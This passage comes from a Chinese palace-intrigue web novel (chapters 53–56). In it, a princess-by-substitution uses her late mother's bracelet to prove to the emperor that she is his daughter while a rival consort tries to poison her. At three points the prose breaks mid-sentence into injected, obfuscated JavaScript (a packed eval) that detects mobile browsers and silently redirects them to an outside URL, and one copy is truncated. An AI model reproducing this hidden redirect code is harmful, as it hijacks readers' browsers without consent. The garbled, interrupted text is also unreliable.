“不,还是让温妃娘娘呈交更合适。” “如果只是这样的话,温妃娘娘应该会答应吧。” “那能否请二弟代为牵线?我未必见得到温妃娘娘。” “可以。镯子在哪里?” 53. 毒蛇(修) “还在姜家。二弟可否帮我一个忙,派两个暗卫快马加鞭去姜家,偷偷找到姜大人,让他去把那个镯子找出来。然后,再让暗卫们来跟我们的队伍会合,把镯子交给你。回京当日,你偷偷去见温妃娘娘,告知此事,并呈上镯子。” “何必现在去拿?等皇姐回了京城,父皇应该会恢复你的身份,到时候你就能回姜家了。” “恐怕没这么容易。我怕回京后会发生什么变故,我非但恢复不了身份,还有生命危险。若能及时把那个镯子呈交给皇上,也许我还有一线生机。” 二皇子很惊讶:“皇姐为何这么说?谁要害你?” “我只是有此担忧,不是一定会遇害。我想,总会有人不希望替嫁的事暴露,那偷偷杀了我就是万全之策。” 二皇子想了想,道:“皇姐所言,也有道理。那我现在派暗卫去姜家找姜大人,只是不知那个镯子藏在哪里?” “在姜夫人的房间里,有一个黑色的箱子。箱子的最底下有个镯子,就是那个了。” “好。不过,为何拿出这个镯子,就能保你的命?” “因为这个镯子有特殊的来历,我现在不便解释太多。” 二皇子点头道:“好,那我现在就派两名暗卫去姜家。” “有劳二弟了。” 姜柠回到房间,有些激动。 她觉得按照自己的计划,成功的可能性比较大。 但是,她又有点紧张,因此过了许久都没睡着。 不多时,已是月上中天。 姜柠不断地暗示自己:“我将来要成就一番大事,现在必须养好身体,早睡早起。” 过了一会,她真的睡着了。 第二天,和亲队伍就朝着京城出发。 百姓们、士兵们都远远地站着,不舍地看着姜柠。 姜柠虽然在栾伊城待的时间不长,但对他们有恩,他们都记在心里。 以前,他们根本不敢想自己竟能得到公主的关照。 像他们这种普通人,一向是地里的野草,无人在意的。 姜柠的短暂到来,就像是流星划破了夜空,带给他们光明与绚烂。 只是,流星转瞬即逝,公主也不可能长久地逗留在边境,他们只能把那份美好深深藏在心里。 姜柠感受到了她们的目光,掀开车帘,对她们挥手:“各位乡亲们、士兵们,你们快回去吧!如果有缘,我们还会再见的。” 可是,没有人回去,他们一直注视着姜柠的马车。也许他们知道,所谓的有缘再见,不过是安慰自己的说辞,以后可能没有见面的机会了。 姜柠心中也十分不舍,但她必须离开。 她只能放下车帘,不再去看栾伊城的百姓们。 她忽然明白了一个道理:只要你真心对别人好,别人一定会记在心里的。也许你的付出暂时换不来物质上的好处,但一定能获得其他更为宝贵的东西。 —— 大皇子的马车走在最前面,接着是姜柠和其他陪嫁少女的马车。 二皇子骑着马,走在姜柠周围,方便继续保护她。 二皇子之前的职责就是平安护送姜柠去和亲,现在和亲取消,他自发地继续护卫姜柠。 大皇子掀开车帘,看见了二皇子,便有些不耐烦道:“二皇弟,我这里缺几个能干的护卫,你和你的亲兵都过来。” 二皇子道:“大皇兄,您身边的侍卫是最多的……” “少废话,你到底过不过来?” 二皇子愧疚地看了姜柠一眼,姜柠报之以理解的眼神,道:“二皇弟快过去吧,我这边不需要太多护卫。” 二皇子便策马上前,走在大皇子的马车旁边。 大皇子一会把自己吃剩的香蕉皮、瓜子皮之类的全给二皇子,让他扔掉;一会看上了路边的瓜果,叫二皇子去摘;一会又说二皇子的马蹄声吵得他没法休息,让二皇子下马步行,简直把二皇子当成了仆役驱使。 二皇子都一一照做,没有任何脾气,看样子是逆来顺受惯了。 倒是一旁的官员、侍卫们有些看不下去,面露不忍之色。但他们也没办法,在这里,大皇子的地位最高。而且,大皇子很有可能是未来的皇帝,得罪不得。 —— 十来天之后,众人路过一片野果、动物较多的树林,便停下来休息。 侍卫们去摘野果、打野味,改善伙食。 二皇子偷偷来到姜柠身边,拿出一个和田玉手镯。这个手镯整体偏白,有一抹糖色,糖色的部分雕刻成了一幅小猫玩毛线团的画,栩栩如生。 二皇子问道:“皇姐,这是从姜家拿到的镯子,不知是不是你说的那一个?” 姜柠惊喜道:“你这么快就拿到了?我去把金妈妈叫过来问问。” 姜柠叫来金妈妈,让金妈妈辨认。 金妈妈看了两眼,便肯定地说:“没错,这个镯子就是老身所说的那一个。” 姜柠对她说道:“有劳金妈妈了,我跟二皇子还有点事商量。” 金妈妈便说道:“那老身先告退了。” 金妈妈走后,姜柠对二皇子道:“二皇弟,这个镯子先放你那里吧。等回了京城,你就第一时间去找温妃娘娘,求她把这镯子呈给皇上看。” “好。” 二皇子把这个镯子收好,随身带着。 —— 连日赶路,姜柠没有机会使用夸夸群。 她心里老想着认亲这件事,也没心思去群里闲聊。 因此,赶路回京的一个月,她都没有打开夸夸群。 她想等自己的身份确定后,再跟群里的人说。 这一日,终于到了京郊。 不过,队伍不能直接入京,得等皇帝下旨。 大队人马先驻扎在京郊的空地上。 过了半个时辰,皇帝身边的太监前来传旨:“皇上有命,令大皇子、二皇子先回宫觐见,大公主先住进鸿胪寺。尚书仆射孙方竹自行回尚书省办公,钦此。” 众人接旨后,都有些奇怪,不知道为何不让大公主回宫,反而要住进鸿胪寺。 鸿胪寺是接待外宾之所,一般有其他国家的人来了,才会住进去。 不过,圣旨中并未有所解释,众人也不敢多问。 大皇子直接带着亲兵们往皇宫方向走去,二皇子赶紧跟上。 二皇子临走前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146996|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟姜柠对视了一眼,那眼神似乎在说,请姜柠放心,她所托之事,自己会帮她。 姜柠也读懂了二皇子的眼神,心中稍定。 姜柠在一队士兵的护送下,去了鸿胪寺。 鸿胪寺卿亲自来迎接,并说已经准备好了上房,请公主居住。如果有什么需要,尽管吩咐鸿胪寺的官员便可。 姜柠进了自己的房间,见屋舍华丽,面积开阔,墙壁上挂着名人字画,一应陈设应有尽有,心中比较满意,便安顿了下来。 她赶路很累了,便直接睡觉了。 —— 皇帝在太和殿召见大皇子和二皇子,一些重臣也在。 皇帝一见到大皇子,便走了下来,仔细看了看,确定大皇子没伤没病,才放下心来,道:“皇儿,北胤人没为难你吧?” 大皇子道:“没有。他们只是把儿臣关在一个帐篷里,不许儿臣外出,但衣食方面没有亏待过儿臣。” 皇帝点头:“这就好。” 皇帝又问了一堆话,无非是问大皇子在北胤时吃什么、喝什么,回来的路上都发生了什么,大皇子一一应答。 问完后,皇帝才对二皇子道:“你一路护送公主,辛苦了。” 二皇子赶紧低头行礼:“这都是儿臣分内之事。” “朕在太和殿设宴,为你们接风洗尘。你们俩先去后宫拜见自己的母亲,再回太和殿来吧。” 两位皇子道:“是。” —— 姜柠正在熟睡,忽然从一个箱子里爬出一条毒蛇,悄悄接近姜柠。 眼看那条毒蛇快要咬到姜柠了,忽然有一只粗壮的手抓住了它,把它重重摔在地上,摔死了。 姜柠被惊醒了,见金妈妈站在床头,问道:“金妈妈,发生什么了?” 金妈妈指着地上死去的毒蛇,道:“公主,您看这个……” 姜柠吓了一跳,后退几步。 “公主别怕,我已经把蛇摔死了。” 姜柠喃喃道:“这里怎么会有蛇呢?金妈妈,您可曾看见蛇是从哪里进来的?” “没看见,老身刚才给公主送吃的,就看见这条蛇在您附近,赶紧摔死了它。” 见蛇已经死透了,姜柠不再害怕,便叫来门口的侍卫,道:“你们去把鸿胪寺卿请来。” 鸿胪寺卿傅维贤来了之后,姜柠问道:“傅大人,我房间里怎么会有毒蛇?” 鸿胪寺卿也吓了一跳,赶紧请罪:“下官已经命人仔细打扫过这个房间,门窗也关上了,不知为何会有毒蛇。要不这样,下官给您换一间房。” “不必了。这房间太深,我若发生什么事,侍卫们不能第一时间赶来。不如就把客厅改成房间,我直接睡在客厅吧,离门也近,若有危险可以马上逃出去。” “公主所言甚是,那下官马上叫人布置。” 姜柠所住的是套房,非常大,房间也有好几个,都有不同的功能,卧室在最里面。 而客厅是最靠近门口的,姜柠睡在客厅,能最大限度地保护好自己。一旦有危险,自己高声呼救,门口的侍卫也能马上听到。 她在这儿应该也住不了多久,不需要会客,没必要使用客厅。 54. 杯子(修) 鸿胪寺卿派了几个老嬷嬷过来,把卧室的床、寝具、床头柜等物都搬到了客厅,并在床周围挂上帐子,这样能保护姜柠的隐私。 布置完毕后,老嬷嬷们就退了出去。 鸿胪寺卿想多派一些丫环来照顾姜柠,姜柠拒绝了:“不需要派更多人过来,不知底细的人来了反而多一分危险。本公主身边有自己的丫环和嬷嬷就够了。” 鸿胪寺卿道:“是,请公主安歇,下官先告退了。” 姜柠刚刚睡醒,也不想再睡了,便掀开帐子,让冬香和小雪跟自己一起待在床上玩游戏。 她们玩的是“翻花绳”的游戏,把一根绳子缠在手指上,编成不同的花样,另一个人把绳子接过去,变出不同的花样,循环往复,直到不能再继续变出新花样为止。 几人玩得十分开心,而金妈妈就守在一边,看她们玩。 金妈妈是个健壮的妇人,遇到危难时,比小丫环们有用得多。就像刚才,发现了毒蛇,金妈妈能当机立断,抓起毒蛇摔死,才保住了姜柠的性命。 因此,姜柠让金妈妈一直待在自己身边,不要离开。 金妈妈的家人,则被安排在另一间房。 金妈妈笑吟吟地看着这三个女孩玩游戏,仿佛回到了过去。 姜柠、冬香、小雪还是三个小女孩的时候,金妈妈也是一边干活,一边看她们玩。 若是三个小女孩有了纠纷,还经常请金妈妈来评理。 金妈妈没想到,还能过上以前那样的日子。 她真希望能一直这样过下去。 三人的欢声笑语传到了外面,有一个鸿胪寺的小官在不远处暗中窥伺。 他听见姜柠的笑声,眼神一转,偷偷从后门跑了出去。 后门有一个小太监守在这里,这个小官对那小太监道:“请回禀贵妃娘娘,毒蛇杀人没有成功,那个人还活着。” 小太监有些不悦:“这叫我如何回禀贵妃娘娘?贵妃娘娘非打我一顿不可。” “这我也没办法啊。” 小太监拿出一包粉末,道:“你设法让那个人吃下这些毒粉。” “可是,在饮食中下毒,很容易被发现……” “谁让你在饮食中下毒了?这公主用的杯子,总该跟别人的杯子有所区别吧?” 小官心下了然,道:“请公公放心,这次我一定办好。” “那就好,我先不回去了,等你下手成功了,我再去回禀贵妃娘娘,说不定还能得到赏赐。” —— 揽月宫,靳贵妃的住所。 大皇子踏进了宫门,靳贵妃赶紧出来迎接,拉着他的手左看右看,流泪道:“皇儿,你被俘虏这么久,母妃可担心死了。” “母妃哭什么,儿臣这不是好端端的回来了吗?” “没错,应该高兴才是。以后若上了战场,可千万要小心。” 大皇子有些不悦:“以后我还要上战场?” “上战场立军功,对你夺嫡有好处。而且,你也能收服更多将士的人心。” “军中太辛苦,我是不想再去了。” “你这孩子……好吧,你先休息一段时间。” 大皇子左顾右盼:“姐姐呢?” “你姐姐还在姜家,她跟姜家大小姐姜柠互换了身份。之前北胤那边要求公主和亲,才能放你回来,母妃舍不得让你妹妹去,自然要找个替身了。” “原来如此。既然我已经回来了,可以让姐姐和姜家大小姐换回来了。” “这事没那么容易。为了掩盖替嫁的事,只有把姜家大小姐杀死。否则,万一她把此事宣扬出去,对母妃和父皇的名声不利。” “母亲怎么不早说,如果偷偷派人告诉我,我在路上就有很多机会下手。” “你行事不密,容易被发现。母妃已让姜家大小姐住进了鸿胪寺,并进行了一番布置,她应该没法活着走出鸿胪寺。” —— 烟柳宫,余宝林住所。 余宝林得知今日二皇子会进宫,难得露出了高兴的神色。 她一直不太得宠,自从二皇子开府别居后,她就很少有机会见到自己的儿子了。 不像靳贵妃,若是想儿子了,随时跟皇上说,皇上就会允准大皇子进宫。 宝林是妃嫔的位份之一,正六品。对于生有成年皇子的余氏来说,这个位份属实有点低了。 她知道自己在后宫中的地位,所以一直安安分分的,不敢争宠,不敢得罪人,怕连累到儿子。 余宝林好好装扮了一番,问身边的丫环:“我今天的精神如何?看不出憔悴的样子吧?” “娘娘看起来容光焕发,二皇子见了您一定很高兴。” 正说着,二皇子已经走了进来。 余宝林正想关心一下他,没想到二皇子直接说道:“母亲,我今日有重要的事,不能跟您叙旧,请您找一身小太监的衣服给我,我要偷偷出门。” 余宝林见儿子行色匆匆的,也不敢耽误他的事,便赶紧拿来一身小太监的衣服,让他换上。 二皇子换好衣服后,偷偷离开,往温妃的住所而去。 温妃住在桃夭宫,离余宝林的住所有一段距离。 二皇子走得飞快,终于在一炷香之后赶到了桃夭宫。 他手里提着一个食盒,低着头,对守门的宫人道:“皇上命我送些吃的给温妃娘娘。” 皇帝隔三差五就送东西来,宫人们也习以为常,因此没有对二皇子的身份起疑,直接让他进去了。 二皇子进了客厅后,对温妃道:“温妃娘娘万福。皇上除了叫小的送吃的来,还有句话要对您说,请您先屏退下人。” 温妃含笑道:“辛苦你了。” 接着,她对周围的宫人道:“你们都下去吧。” 宫人们都离开后,二皇子抬起头来,道:“温妃娘娘,是儿臣。” 温妃惊讶道:“二皇子?你为何打扮成小太监,来我宫里?” “因为我有一件事想请您帮忙,但不能让人发现。” 二皇子拿出手镯,道:“请娘娘把这镯子拿给父皇看,若是父皇认出来了,问是哪里来的,您只说是姜家大小姐给的,她有话想对皇上说。若是父皇没认出来,您就把这镯子还给儿臣。” 温妃道:“这自然可以。不过,为何要这么做?” “此事是姜家大小姐托付给儿臣的,儿臣也不明白其中的缘故。” “莫非,这镯子是皇上送给姜家大小姐的定情信物不成?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146997|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“这……应该不是。总之,还请温母妃帮帮儿臣。” 温妃想了想,觉得呈交一个镯子给皇上并不是什么大事,应该不至于给自己带来什么麻烦,便答应了。 “二皇子,你将镯子留下,本宫会找机会呈给皇上的。” “多谢温母妃,最好是尽快呈给父皇。” “好,本宫知道了。” 二皇子离开了桃夭宫,回到余宝林这里,换回自己的衣服。 他刚想跟余宝林说几句话,门外的侍卫提醒:“二皇子,探亲时间到了。” 二皇子道:“本王知道了,这就离开。” 他十分无奈,但宫规如此,他也没法子。 成年皇子不宜在后宫中久留,以免闹出什么丑闻,因此每次探亲的时间都很短。 余宝林依依不舍地看着儿子,二皇子道:“母亲请保重身体,儿臣有空便会再来看您的。” “嗯,你在外面好好做事,别牵挂母亲。” 二皇子虽十分不舍,但也只能离开了。 余宝林一直看着二皇子离去的方向,久久不愿回房。 —— 鸿胪寺,姜柠的房间。 有个丫环敲门道:“公主殿下,奴婢给您送茶点来了。” 姜柠便叫人打开门,放她进来。 丫环放下茶水和点心就走了。 茶有三壶,一壶是牛乳茶,一壶是龙井茶,一壶是大红袍。 旁边放着几个杯子,其中三个是普通的青花杯,还有一个是粉彩荷花杯。这个粉色的杯子做成了荷叶的形状,但颜色却是粉色的,像是把荷叶与荷花巧妙地结合在一起,可谓是别具匠心。 姜柠知道,这个独特的杯子肯定是给自己用的,因此便拿了起来,左看右看,笑道:“用这么美的杯子喝水,即便是喝白开水也像是在喝玉液琼浆一般。” 冬香和小雪凑了过来:“也给我们瞧瞧。” 三个人一起看这个杯子,啧啧称奇。 金妈妈把三壶茶都倒出一点来喝了,道:“这茶没问题,可以喝。” 说着,她就往姜柠的粉色杯子里倒了一杯大红袍。 她知道姜柠喜欢喝红茶。 姜柠正准备喝,忽然想起了什么,道:“之前我差点被毒蛇咬,可见有人要暗中害我。这茶虽没问题,保不齐杯子被人动了手脚。这样,咱们先把茶杯都洗个几遍,洗干净了再喝。” 冬香道:“公主说的有道理。” 冬香便把所有的茶杯仔细洗了四五遍,又用帕子认真擦拭了六七遍,然后再拿过来给大家喝茶。 小雪笑道:“你也太仔细了,就算下了一百种毒,也被你给洗干净了。” 冬香笑道:“哪能下一百种毒呢,下一种毒就够受的了。” 杯子干净后,姜柠愉快地喝了起来。 —— 桃夭宫。 温妃看了镯子几眼,收了起来,放在自己身上。 接着,她问宫女:“皇上今晚是不是在太和殿设宴,为大皇子和二皇子接风?” “好像是的。” “去告诉皇上,晚上的宴席,本宫也想出席。” “可是,贵妃娘娘也要去,她看见您,可能会不高兴的。” 55. 询问(修) 温妃一边慢悠悠地插花,一边说道:“她不高兴她的,我高兴我的。她发脾气,我谦让,自来都是如此。山火虽烈,却烧不干江河。” “娘娘说的是,奴婢这就去问皇上。” —— 太和宫晚宴,皇帝坐在正中间,靳贵妃和温妃一左一右陪着他。 靳贵妃看了温妃一眼,眼神如刀,锋利中带着几分不悦。 皇上明明说了只让自己出席的,但不知道温妃说了什么,皇上也允许温妃过来了。 靳贵妃虽然是后宫妃嫔中地位最高的,但温妃始终像一根刺一样横亘在她的心头。 若是温妃的性格也像尖刺一样,反倒好对付了。但偏偏温妃是如水的性子,温良恭让,对任何人都客客气气的,总是用一种包容的方式回应靳贵妃的为难。 因此,靳贵妃也拿她没办法。 不过,温妃不能生育,实际上没法真正成为靳贵妃的威胁,因此靳贵妃也就容许了她的存在。 温妃平时不怎么跟靳贵妃争锋的,靳贵妃不明白,今晚的宫宴,温妃为何非要过来,席上又没有她的儿子。 不过,不管靳贵妃是什么脸色、心里在想些什么,温妃都只当做不知,笑意盈盈地对皇帝、皇子和众位大臣敬酒,尽显端庄得体。 宴席刚开始,便有歌女舞女进场表演,众大臣又纷纷闲聊,因此殿中的声音有些嘈杂。 靳贵妃借着这嘈杂声音的掩饰,频频对皇帝撒娇,一会让他帮忙剥虾,一会要喝皇帝的酒,皇帝都笑呵呵地答应。 而温妃自己吃自己的,不怎么跟皇帝说话,这让靳贵妃心里平衡了一些。 过了一会,温妃说要上茅房,便起身离开了。 但是,温妃一直没有回来。 皇帝喝着喝着,也想上茅房,就往后殿的茅房走去。 谁知,温妃却在茅房门口等着,对皇帝道:“皇上,嫔妾想给您看一样东西。” 说着,温妃把那个镯子拿了出来。 皇帝看了几眼,忽然惊讶道:“这个镯子怎么会在你这儿?” 温妃不慌不忙地问道:“皇上认得这个镯子?” “没错。你是从何处得来?” “这是姜家大小姐托人拿给嫔妾的,说让嫔妾给皇上看看。皇上若想知道这镯子的来历,可以叫姜家大小姐进宫询问。” “姜家大小姐……她不是刚刚……” 皇帝本想说,她不是刚刚回到京城吗,但话说了一半就打住了。如果这么说的话,就会泄露姜柠替嫁之事。 毕竟在明面上,姜家大小姐姜柠一直未曾离开姜家,去和亲的是大公主萧梦苒。 这件事,只有几个当事人知道,后宫的妃嫔们都不知道。 萧梦苒这段时间一直打扮成姜柠的样子,而且每次进宫都不多待,其他妃嫔也见不到她。即便见到,也分辨不出来。 对于姜柠为何会有这个镯子,皇帝也是百思不解。 他迫切想知道答案,因此想找个机会把姜柠叫进宫来。 但是,他又觉得这样太慢了,想起姜柠现在暂居鸿胪寺,便决定微服去鸿胪寺找她。 皇帝接过镯子,藏在衣袖中,对温妃道:“这件事先不要泄露出去。朕有事先走了,你回到席上告诉贵妃,朕有点公务要处理,宴席让她主持。” 温妃道:“是。” 温妃回到席上,传达了皇上口谕。 靳贵妃得意一笑:“有劳温妃妹妹传口谕了,本宫会主持好宴席的。” 温妃恭敬行礼:“是,那嫔妾就先告退了。” 眼见温妃离开,靳贵妃很高兴。 皇帝有事要走,让靳贵妃主持宴席,这是对靳贵妃的看重。 温妃虽得圣宠,但在皇上心目中的地位还是不如自己。这种重大的场合,只有自己有资格代替皇上主持。 想到这儿,靳贵妃心中平添了几分责任感,面上更显威严。她安排着接下来的节目、菜品,井井有条。 —— 皇帝微服来到了鸿胪寺,见了大理寺卿。 “傅爱卿,你找一间没人的房间,朕要单独会见大公主。你去叫大公主过来,要避人耳目,别让其他人看见。” 鸿胪寺卿傅维贤道:“是。” 当姜柠得知皇帝偷偷来见她时,就明白皇帝肯定看见了那个镯子,并且认出来了。 她按捺下心中的狂喜,换上了丫环的衣服,偷偷来到密室见皇帝。 密室里只有姜柠和皇帝二人,皇帝拿出那个镯子,问道:“这个镯子,是你托人交给温妃的?” 姜柠跪下答道:“正是。” “你是从何处得来?” “这是我亡母的遗物。” “你胡说!这怎么会是你亡母的东西?莫非是你从何处偷来的?” “皇上息怒,这确实是臣女亡母的东西。因为臣女的亡母并非是姜夫人,而是章霜质,章姑娘。” 听见这个名字,皇帝站了起来,走到姜柠身边,俯身问道:“你……你怎么会知道她的名字?” “因为臣女并非是姜家的女儿,而是章姑娘所生。当年姜夫人生下死婴,而我母亲章姑娘生下了我。她为了保全我,便将我和姜家的死婴调换了。” 姜柠把金妈妈所说的事,重新说了一遍给皇帝听。 皇帝十分震惊:“这么说,当年霜质和姜夫人在同一天生产,而且都在京郊的枫叶庵里?” “没错。当年给母亲接生的,是姜家的一位老嬷嬷。母亲亡故之前,把我和这个镯子都托付给了那位老嬷嬷。” “那位老嬷嬷现在在哪里?” “皇上,那位老嬷嬷不愿意卷入这件事,所以暂时没法出来作证。” “她不出来作证,朕怎么确定此事的真假?” 姜柠道:“皇上,我的生母章姑娘,就埋葬在枫叶庵的后山。我曾经询问过尚书仆射孙大人,有什么办法能确定活人和尸骨的血缘关系。孙大人告诉我,有一种滴骨验亲的法子。 只需把活人的血滴入尸骨的骨头中,如果血能融进去,就证明这个活人和这具尸骨有血缘关系。 只需把我生母的坟墓挖开,让我用滴骨验亲的法子试试便知道了。 反正,您知道了她的埋尸之处,肯定是要重新将她埋入皇陵的,她的旧坟迟早要挖开。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146998|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >皇帝将信将疑:“滴骨验亲?这真是孙大人所说?” “对。孙大人曾经当过十几年的刑部尚书,精通刑名验尸之学。您若不信,可以再去问问孙大人。” 皇帝走出门外,叫出一个暗卫:“杨三,你去尚书仆射孙方竹的府邸问问,滴骨验亲之法可不可靠。快去快回。” “是。” 暗卫这一去需要一点工夫,皇帝又走回了房间,仔细看着姜柠。 他发现,姜柠跟自己确实是有几分相似。 之前他对姜柠有几分好感,大概是因为她长得像大公主,所以有些爱屋及乌了。 但现在皇帝发觉,不论是大公主还是姜柠,其实长得都像自己。 如果大公主和姜柠有血缘关系,是同父异母的姐妹,就说得通了。 皇帝越想越觉得有可能,而且看姜柠越看越顺眼。 姜柠可太会长了,简直比大公主还像皇帝。 皇帝一直以自己的容貌为傲,有时候也会觉得,这么漂亮的脸长在他一个男人身上,真是可惜了。 但现在,他的这张脸完美地复刻在了大公主和姜柠身上。他觉得,果然是女孩长成这样更好看。 而长着这张脸的两个女孩,竟然都是他女儿,这是何等的幸运。 这是上天的恩赐。 一定是因为他太完美了,所以上天才给他至高无上的地位、完美的脸庞,还有两个长相完美的女儿。 此时皇帝心里,充满了一种莫名的自豪和自恋。 但他不能表现出来,表面上还是淡淡的。 他问道:“姜柠,从小到大,有没有人夸过你好看?” 姜柠有些疑惑,但还是回答道:“有,好多人都夸臣女好看。” “嗯,被夸是正常的,但你不能骄傲,知道吗?” “是,臣女谨遵皇上教诲。” 皇帝又扯了一些有的没的,过了一会,暗卫回来了,复命道:“皇上,小人问过孙大人了,他说滴骨验亲确有其法,可以验证血缘关系。” 皇帝问姜柠:“你可知章霜质确切的埋尸之处?” 姜柠道:“具体位置不知,可能得问枫叶庵的师太们。” “那就现在去枫叶庵吧。” “皇上,天色已晚,是否明日再去?” “寺庙开门早,可以先过去。” “是。” 皇帝看了姜柠一眼,觉得她并不惊慌,那么她说谎的可能性应该比较小。 但皇帝还是想到了一件事,问道:“姜柠,就算枫叶庵后山挖出白骨,你怎么能证明那白骨就是章霜质的?” “我母亲应该是跟一具男婴一起下葬的,那个男婴就是当年姜夫人所生的死胎。棺中应该还有一支蝴蝶金簪,是姜夫人的物品,随那男婴陪葬的。等挖出棺材后,只需看看里面是不是一大一小两具尸骸,有没有蝴蝶金簪,就可知臣女所言是真是假了。” 皇帝点头:“没错,再过几个时辰,便见分晓。姜柠,你确定你所言属实?若是编造谎言,现在承认,还来得及。若是枫叶庵后山挖不出尸骨,或是你的血不能跟尸骨相融,就是欺君之罪,朕定不会饶恕你。” 56. 正名(修) 姜柠冷静说道:“臣女确定所言句句属实,陛下尽管前往枫叶庵验证。” 皇帝便和姜柠乔装一番,偷偷去了枫叶庵。 他们赶到枫叶庵时,刚好是寅时。 天还黑着,但姜柠知道,再过半个时辰,庵里的尼姑们就会起床。 出家人睡得很早,起得也很早,作息跟普通人不一样。 不过,皇帝显然不需要多等一时半刻的。 他直接让侍卫去扣门,守门的小尼姑开了门,睡眼惺忪地问道:“几位施主,什么事啊?” 侍卫直接亮出了皇帝的令牌,道:“皇上来此查一桩旧案,让你们这里管事的起来回话,其他人就不必去惊动了。” 小尼姑赶紧说道:“是,贫尼现在去叫住持和知客僧起床。” 尼姑们起床速度都很快,她们不需要多余的装扮,也不需要梳理头发,直接洗把脸就可以出门了。 很快,枫叶庵的住持和知客僧就把皇帝和姜柠一行人迎进了客堂。 皇帝简单地说明了来意,问道:“十八年前,你们这里是否收留了一个姓章的姑娘?她当时已经怀孕,后来生下死胎,好像被埋葬在枫叶庵的后山了。” 住持道:“好像是有,但当时贫尼年纪尚小,只是给那位章姑娘送过饭。至于她和孩子被埋在哪里,贫尼并不知道。” 皇帝问道:“当时是谁埋葬的她?” “是贫尼的师父和几位年长的师叔,她们要么已经圆寂了,要么已经去了别的庵堂,失去了联系。” “这里还有没有较为年长的师父,知道当年的事的?” “没有了,贫尼已经是此处最年长的了。” “那十八年前是不是有一位贵妇人也来到这里,生下了一个女婴?她是跟章姑娘同一天生产的?” “是的,贫尼记得是有一位贵妇人来礼佛,结果不小心动了胎气,在庵堂的客房里生下了一名女婴。而同一天,那位章姑娘却生下了死婴,实在可怜。师父和几位师叔埋葬了章姑娘母子。” “既然无人知道她们母子埋在哪里,那岂不是要翻遍整座后山?” 以皇帝的能力,翻遍整座后山也不是不行,但是太费时间了。 姜柠说道:“皇上,听说大理寺训练了一批狗,它们对血腥味和尸骨的气味非常敏感,不如让那些狗来闻一下?” 皇帝点头道:“也可以。” 他派几名暗卫去大理寺把狗牵过来,但不能惊动其他人。 姜柠和皇帝继续在客堂里等着。 皇帝接着问住持:“那位章姑娘是怎么来到枫叶庵的?在此地住了多久?” 住持道:“她好像是从山上滚下来的。当时有位师叔去山上的农田干活,发现了那位姑娘,还发现她身怀六甲,于是便将她带回了庵堂。她醒来后,说自己被人追杀,不能连累我们,想要离开。 我师父说,出家人慈悲为怀,不能舍她不顾,就让她住在一间客房中,并把房门上锁,营造出无人居住的假象。师父还对她说,她平时也尽量不要发出声音,以免被人发现。 师父问她还有多少日生产,但她自己也不清楚。于是,师父就提前预备下生孩子需要的炉子、脸盆、剪刀、药品等物,方便她发动的时候用上。几天之后,师父带我们上山采药,庵堂里只剩几个年龄较小的尼姑看守。 那位章姑娘突然发动,又没有发出声音,所以小尼姑们都不知道。后来,等我们回来时,章姑娘已经母子俱亡,房间里没有其他人。” 皇帝皱眉:“被人追杀?她可有说过是被谁追杀的?” “没有。” 皇帝叹息了一声,露出悲伤的神色。 姜柠在考虑要不要把靳贵妃害死自己母亲的事说出来,但又觉得自己现在无凭无据,还是别说的好。 靳贵妃这么多年来盛宠不衰,在皇帝心里,她肯定是很重要的。 仅凭一个姜柠,只怕还没法撼动靳贵妃的地位。 若是被靳贵妃反咬一口,姜柠反而摊上了诬告之罪,就得不偿失了。 要扳倒靳贵妃,得在自己站稳脚跟、实力强大之后。 因此,姜柠便没说出什么来。 皇帝拿出那个镯子,仔细看着。 这个镯子是他送给章霜质的,这么多年过去了,镯子还在,人却没了,确实令人伤感。 等了半个时辰后,暗卫们带了四只大狗过来。 这四只大狗都威风凛凛,眼神犀利,看起来很聪明的样子,应该是受过很多训练的。 皇帝问道:“你们去带这几只狗,没有惊动旁人吧?” 暗卫道:“没有,我们直接找到了养狗的小吏,出示了皇上的令牌,他就赶紧把狗给我们了。他知道不能泄露出去的。” “好,那就去后山吧。对了,住持,今日枫叶庵就别开门了,以免被闲杂人等看到我们。” “是,皇上。贫尼这就去安排,不会放香客进来。” 到了后山之后,这四只狗到处乱跑,这里闻闻,那里嗅嗅。 没过多久,有一只狗跑到一棵松树下面,叫了起来。 皇帝对侍卫们说道:“你们朝这里挖。” “是。” 侍卫们挖地的铁锹等物,是从庵堂里拿来的。 枫叶庵的尼姑自己种地,有时候也会上山挖药,所以工具很多。 挖了一炷香时辰后,果然挖出了一口薄棺。 打开棺木后,里面果然是一大一小两具尸体。 尸体都已经变成了白骨,但身上穿的衣服料子不错,都还没有腐烂,只是旧了些。 在暗卫里面,有一个会验骨的,皇帝让他验一下这两具尸体。 